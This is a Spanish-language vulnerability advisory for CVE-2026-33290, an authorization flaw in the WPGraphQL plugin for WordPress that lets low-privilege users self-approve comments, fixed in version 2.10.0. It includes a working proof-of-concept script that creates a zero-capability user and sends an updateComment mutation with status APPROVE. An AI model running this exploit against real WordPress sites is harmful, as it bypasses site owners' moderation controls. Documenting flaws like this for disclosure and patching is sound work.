Vulnerabilidad en wp-graphql (CVE-2026-33290)
Gravedad CVSS v3.1:
MEDIA
Tipo:
No Disponible / Otro tipo
Fecha de publicación:
24/03/2026
Última modificación:
24/03/2026
Descripción
WPGraphQL proporciona una API GraphQL para sitios de WordPress. Antes de la versión 2.10.0, una falla de autorización en updateComment permite a un usuario autenticado con bajos privilegios (incluyendo un rol personalizado con cero capacidades) cambiar el estado de moderación de su propio comentario (por ejemplo, a APROBAR) sin la capacidad moderate_comments. Esto puede eludir los flujos de trabajo de moderación y permitir que usuarios no confiables autoaprueben contenido. La versión 2.10.0 contiene un parche.<br />
<br />
### Detalles<br />
<br />
En WPGraphQL 2.9.1 (probado), la autorización para updateComment se basa en el propietario, no en el campo:<br />
<br />
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 permite a los moderadores.<br />
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 también permite al propietario del comentario, incluso si carece de la capacidad de moderación.<br />
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 mapea el estado de entrada de GraphQL directamente a comment_approved de WordPress.<br />
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persiste ese valor a través de wp_update_comment.<br />
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 expone los estados de moderación (APROBAR, EN ESPERA, CORREO NO DESEADO, PAPELERA).<br />
<br />
Esto significa que un propietario no moderador puede enviar el estado durante la actualización y hacer la transición del estado de moderación.<br />
<br />
### PoC<br />
<br />
Probado en wp-env local (Docker) con WPGraphQL 2.9.1.<br />
<br />
1. Iniciar entorno:<br />
<br />
npm install<br />
npm run wp-env start<br />
<br />
2. Ejecutar este PoC:<br />
<br />
```<br />
npm run wp-env run cli -- wp eval &#39;<br />
add_role("no_caps","No Caps",[]);<br />
$user_id = username_exists("poc_nocaps");<br />
if ( ! $user_id ) {<br />
$user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");<br />
}<br />
$user = get_user_by("id",$user_id);<br />
$user-&gt;set_role("no_caps");<br />
<br />
$post_id = wp_insert_post([<br />
"post_title" =&gt; "PoC post",<br />
"post_status" =&gt; "publish",<br />
"post_type" =&gt; "post",<br />
"comment_status" =&gt; "open",<br />
]);<br />
<br />
$comment_id = wp_insert_comment([<br />
"comment_post_ID" =&gt; $post_id,<br />
"comment_content" =&gt; "pending comment",<br />
"user_id" =&gt; $user_id,<br />
"comment_author" =&gt; $user-&gt;display_name,<br />
"comment_author_email" =&gt; $user-&gt;user_email,<br />
"comment_approved" =&gt; "0",<br />
]);<br />
<br />
wp_set_current_user($user_id);<br />
<br />
$result = graphql([<br />
"query" =&gt; "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",<br />
"variables" =&gt; [ "id" =&gt; (string)$comment_id ],<br />
]);<br />
<br />
echo wp_json_encode([<br />
"role_caps" =&gt; array_keys(array_filter((array)$user-&gt;allcaps)),<br />
"status" =&gt; $result["data"]["updateComment"]["comment"]["status"] ?? null,<br />
"db_comment_approved" =&gt; get_comment($comment_id)-&gt;comment_approved ?? null,<br />
"comment_id" =&gt; $comment_id<br />
]);<br />
&#39;<br />
```<br />
<br />
3. Observar resultado:<br />
<br />
- role_caps está vacío (o no tiene moderate_comments)<br />
- la mutación devuelve status: APROBAR<br />
- el valor de la base de datos se convierte en comment_approved = 1<br />
<br />
### Impacto<br />
<br />
Esto es un bypass de autorización / un problema de control de acceso roto en las transiciones de estado de moderación de comentarios. Cualquier despliegue que utilice mutaciones de comentarios de WPGraphQL donde los usuarios con bajos privilegios puedan hacer comentarios está impactado. La política de moderación puede ser eludida autoaprobando contenido.
Impacto
Puntuación base 3.x
4.30
Gravedad 3.x
MEDIA



